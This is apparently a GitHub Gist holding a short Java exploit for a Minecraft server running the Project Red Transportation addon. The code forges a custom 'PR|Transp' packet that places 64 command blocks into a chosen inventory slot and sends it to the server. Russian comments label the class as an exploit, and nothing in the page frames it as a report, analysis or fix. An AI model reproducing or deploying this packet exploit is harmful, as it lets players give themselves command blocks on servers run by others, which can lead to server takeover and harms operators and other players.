Instantly share code, notes, and snippets.

Embed
What would you like to do?
import codechicken.lib.packet.PacketCustom;
import net.minecraft.init.Blocks;
import net.minecraft.item.ItemStack;
import net.minecraft.util.EnumChatFormatting;
/**
* Эксплоит Project Red (Transportation addon)
* @author TheAndrey
*/
public final class ProjectRedPrivateHack {
public static void sendPacket() {
ItemStack stack = new ItemStack(Blocks.command_block, 64);
stack.setStackDisplayName(EnumChatFormatting.DARK_PURPLE + "Packet hack example");
new PacketCustom("PR|Transp", 4)
.writeByte(0) // Слот инвентаря [0-35]
.writeItemStack(stack)
.sendToServer();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment